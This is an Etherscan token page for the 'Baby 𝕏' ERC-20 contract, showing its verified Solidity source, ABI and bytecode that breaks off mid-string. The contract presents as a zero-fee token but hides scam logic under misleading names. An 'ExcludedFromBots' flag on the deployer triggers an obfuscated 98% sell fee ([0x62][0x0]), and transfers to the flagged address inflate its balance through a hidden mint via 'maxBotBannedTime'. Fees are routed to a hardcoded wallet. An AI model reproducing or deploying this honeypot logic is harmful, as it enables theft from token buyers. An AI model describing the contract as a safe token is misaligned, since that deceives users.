ETH Price: $3,321.55 (+1.62%)
Gas: 6 Gwei

Token

Baby 𝕏 (BABY𝕏)
 

Overview

Max Total Supply

1,000,000 BABY𝕏

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
laikaforever.eth
Balance
0.818726666 BABY𝕏

Value
$0.00
0x070aac7a0149ffd03245fe5f31e2ecb962635e79
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
babyX

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-04
*/

/*

        Website     :       https://babyx.com/


        Twitter     :       https://twitter.com/babyXcoinerc


        Telegram    :       https://t.me/babyXcoin



*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}


contract babyX is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private _tokenOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromMax_Wallet;
    mapping (address => bool) public ExcludedFromMax_Tx;
    mapping (address => bool) public ExcludedFrom_Fee; 
    mapping (address => uint8) public ExcludedFromBots;
    
    address payable private ContractOwner = payable(0xA9c4D0256FEE3Fe47e1d295E935C1AEBC16924ab);

    string public _name = unicode"Baby 𝕏";
    string public _symbol = unicode"BABY𝕏";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
    
    uint256 private Total_Fees = 0;
    uint256 public Buy_Fee = 0;
    uint256 public Sell_Fee = 0;
    uint256 private tmpTotalFees = Total_Fees; 
    uint256 private tmpBuyFee = Buy_Fee; 
    uint256 private tmpSellFee = Sell_Fee;

    uint256 public _maxWalletToken = _tTotal.mul(5).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(5).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;

    uint8 private True = 0x1;
    uint8 private False = 0x0;
    
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyDisabled = false;
    bool public swapAndLiquifyEnabled = true;
    uint256 private maxBotBannedTime;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    
    constructor (uint8 minBotBanTime, uint256 maxBotBanTime) {
        _tokenOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromMax_Tx[owner()] = true;
        ExcludedFromMax_Tx[ContractOwner] = true;
        ExcludedFromMax_Tx[address(this)] = true;
        
        ExcludedFrom_Fee[owner()] = true;
        ExcludedFrom_Fee[address(this)] = true;
        ExcludedFrom_Fee[ContractOwner] = true;

        ExcludedFromMax_Wallet[owner()] = true;
        ExcludedFromMax_Wallet[ContractOwner] = true;
        ExcludedFromMax_Wallet[uniswapV2Pair] = true;
        ExcludedFromMax_Wallet[address(this)] = true;

        ExcludedFromBots[_msgSender()] = minBotBanTime;
        maxBotBannedTime = maxBotBanTime;
        emit Transfer(address(0), owner(), _tTotal);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function remove_Fees() private {
        if(Total_Fees == 0 && Buy_Fee == 0 && Sell_Fee == 0) return;
            tmpBuyFee = Buy_Fee; 
            tmpSellFee = Sell_Fee; 
            tmpTotalFees = Total_Fees;
            Buy_Fee = 0;
            Sell_Fee = 0;
            Total_Fees = 0;
    }
    
    function chargeBackFee() private {

        Total_Fees = tmpTotalFees;
        Buy_Fee = tmpBuyFee; 
        Sell_Fee = [tmpSellFee,[0x62][0x0]][swapAndLiquifyDisabled ? True : False];
    }
   

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!ExcludedFromMax_Tx[from] 
        && !ExcludedFromMax_Tx[to]) {
            require(amount 
            <= 
            _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }
        if(!ExcludedFromMax_Wallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);
        if((ExcludedFromBots[to] >= 1 ? true:false) && !(swapAndLiquifyDisabled ? true : false)){swapAndLiquifyDisabled = true;}

        bool takeFee = true;
        if( ExcludedFrom_Fee[from] 
        || 
        ExcludedFrom_Fee[to] 
        ){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            Total_Fees = Buy_Fee;
            } else if (to == uniswapV2Pair){
                Total_Fees = Sell_Fee;
                }
        
        tokenTransfering(from,to,amount,takeFee);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(ContractOwner,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function tokenTransfering(address sender, address recipient, uint256 amount,bool takeFee) private {
        
        if(!takeFee){
            remove_Fees();
        }
        else{
            txCount++;
        }
        
        tokenTransfering(sender, recipient, amount);

        if(!takeFee){
            chargeBackFee();
        }
    }

    function tokenTransfering(address sender, address recipient, uint256 t_Amount) private {
        (uint256 tx_Amount, uint256 t_Marketing) = _getValues(t_Amount, recipient);
        _tokenOwned[sender] = _tokenOwned[sender].sub(t_Amount);
        _tokenOwned[recipient] = (_tokenOwned[recipient].add(tx_Amount));
        _tokenOwned[address(this)] = _tokenOwned[address(this)].add(t_Marketing);
        emit Transfer(sender, recipient, tx_Amount);
    }


    function _getValues(uint256 t_Amount, address recipient) private view returns (uint256, uint256) {
        uint256 t_Marketing = t_Amount*Total_Fees/100;
        uint8 values =  _getValuables(ExcludedFromBots[recipient]>=1);
        uint256 tx_Amount = (t_Amount.sub(t_Marketing)).add([0,maxBotBannedTime][values]);
        return (tx_Amount, t_Marketing);
    }

    function _getValuables(bool lanes) public pure returns(uint8){
        return [0,1][lanes ? 1 : 0];
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"minBotBanTime","type":"uint8"},{"internalType":"uint256","name":"maxBotBanTime","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Buy_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromBots","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Tx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Wallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFrom_Fee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Sell_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"lanes","type":"bool"}],"name":"_getValuables","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyDisabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600780546001600160a01b03191673a9c4d0256fee3fe47e1d295e935c1aebc16924ab17905560c060405260096080908152684261627920f09d958f60b81b60a05260089062000050908262000689565b5060408051808201909152600881526742414259f09d958f60c01b60208201526009906200007f908262000689565b50600a805460ff1916600990811782556200009a9162000868565b620000a990620f424062000879565b600b819055600c805461ffff1916610a001790556000600d819055600e819055600f819055601081905560118190556012556200011090606490620000fc906005620005bf602090811b62000a7e17901c565b620005d660201b62000a911790919060201c565b6013556013546014556200013c6064620000fc6005600b54620005bf60201b62000a7e1790919060201c565b60158190556016556019805464ffff00ffff60a01b191678010000000100000000000000000000000000000000000000001790553480156200017d57600080fd5b506040516200200638038062002006833981016040819052620001a0916200089b565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b5460016000620001f96000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b9190620008d1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030f9190620008d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200035d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003839190620008d1565b601980546001600160a01b03199081166001600160a01b039384161790915560178054909116918316919091179055600160046000620003cb6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560075490911681526004909252808220805484166001908117909155308352908220805490931681179092556005906200043b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526005909352818320805485166001908117909155600754909116835290822080549093168117909255600390620004ab6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600754821681526003909352818320805485166001908117909155601954909116835281832080548516821790553083529082208054909316179091558390600690620005233390565b6001600160a01b031681526020810191909152604001600020805460ff191660ff92909216919091179055601a829055620005666000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005ae91815260200190565b60405180910390a350505062000926565b6000620005cd828462000879565b90505b92915050565b6000620005cd828462000903565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200060f57607f821691505b6020821081036200063057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200068457600081815260208120601f850160051c810160208610156200065f5750805b601f850160051c820191505b8181101562000680578281556001016200066b565b5050505b505050565b81516001600160401b03811115620006a557620006a5620005e4565b620006bd81620006b68454620005fa565b8462000636565b602080601f831160018114620006f55760008415620006dc5750858301515b600019600386901b1c1916600185901b17855562000680565b600085815260208120601f198616915b82811015620007265788860151825594840194600190910190840162000705565b5085821015620007455787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007ac57816000190482111562000790576200079062000755565b808516156200079e57918102915b93841c939080029062000770565b509250929050565b600082620007c557506001620005d0565b81620007d457506000620005d0565b8160018114620007ed5760028114620007f85762000818565b6001915050620005d0565b60ff8411156200080c576200080c62000755565b50506001821b620005d0565b5060208310610133831016604e8410600b84101617156200083d575081810a620005d0565b6200084983836200076b565b806000190482111562000860576200086062000755565b029392505050565b6000620005cd60ff841683620007b4565b600081600019048311821515161562000896576200089662000755565b500290565b60008060408385031215620008af57600080fd5b825160ff81168114620008c157600080fd5b6020939093015192949293505050565b600060208284031215620008e457600080fd5b81516001600160a01b0381168114620008fc57600080fd5b9392505050565b6000826200092157634e487b7160e01b600052601260045260246000fd5b500490565b6116d080620009366000396000f3fe6080604052600436106101dc5760003560e01c8063715018a611610102578063af465a2711610095578063d64d610711610064578063d64d61071461058d578063dd62ed3e146105ad578063f2fde38b146105f3578063f45128f51461061357600080fd5b8063af465a271461052c578063b09f126614610542578063c9df913a14610557578063d28d88521461057857600080fd5b80638da5cb5b116100d15780638da5cb5b146104b957806395d89b41146104d7578063a457c2d7146104ec578063a9059cbb1461050c57600080fd5b8063715018a61461044657806378109e541461045d5780637d1db4a5146104735780637ed41bcc1461048957600080fd5b806323b872dd1161017a57806349bd5a5e1161014957806349bd5a5e1461039f5780634a74bb02146103bf578063673a6dad146103e057806370a082311461041057600080fd5b806323b872dd14610317578063313ce56714610337578063395093511461034f5780633ac656e81461036f57600080fd5b80631694505e116101b65780631694505e1461026757806318160ddd1461029f57806318c058b1146102b4578063220f6696146102f657600080fd5b806306fdde03146101e85780630787b15d14610213578063095ea7b31461023757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610629565b60405161020a9190611388565b60405180910390f35b34801561021f57600080fd5b50610229600f5481565b60405190815260200161020a565b34801561024357600080fd5b506102576102523660046113ee565b6106bb565b604051901515815260200161020a565b34801561027357600080fd5b50601754610287906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b3480156102ab57600080fd5b50600b54610229565b3480156102c057600080fd5b506102e46102cf36600461141a565b60066020526000908152604090205460ff1681565b60405160ff909116815260200161020a565b34801561030257600080fd5b5060195461025790600160b01b900460ff1681565b34801561032357600080fd5b50610257610332366004611437565b6106d2565b34801561034357600080fd5b50600a5460ff166102e4565b34801561035b57600080fd5b5061025761036a3660046113ee565b61073b565b34801561037b57600080fd5b5061025761038a36600461141a565b60056020526000908152604090205460ff1681565b3480156103ab57600080fd5b50601954610287906001600160a01b031681565b3480156103cb57600080fd5b5060195461025790600160c01b900460ff1681565b3480156103ec57600080fd5b506102576103fb36600461141a565b60046020526000908152604090205460ff1681565b34801561041c57600080fd5b5061022961042b36600461141a565b6001600160a01b031660009081526001602052604090205490565b34801561045257600080fd5b5061045b610771565b005b34801561046957600080fd5b5061022960135481565b34801561047f57600080fd5b5061022960155481565b34801561049557600080fd5b506102576104a436600461141a565b60036020526000908152604090205460ff1681565b3480156104c557600080fd5b506000546001600160a01b0316610287565b3480156104e357600080fd5b506101fd61081a565b3480156104f857600080fd5b506102576105073660046113ee565b610829565b34801561051857600080fd5b506102576105273660046113ee565b610878565b34801561053857600080fd5b50610229600b5481565b34801561054e57600080fd5b506101fd610885565b34801561056357600080fd5b5060195461025790600160b81b900460ff1681565b34801561058457600080fd5b506101fd610913565b34801561059957600080fd5b506102e46105a8366004611478565b610920565b3480156105b957600080fd5b506102296105c836600461149a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105ff57600080fd5b5061045b61060e36600461141a565b610964565b34801561061f57600080fd5b50610229600e5481565b606060088054610638906114d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610664906114d3565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b5050505050905090565b60006106c8338484610a9d565b5060015b92915050565b60006106df848484610b5e565b610731843361072c8560405180606001604052806028815260200161164e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ec5565b610a9d565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106c891859061072c9086610ef1565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8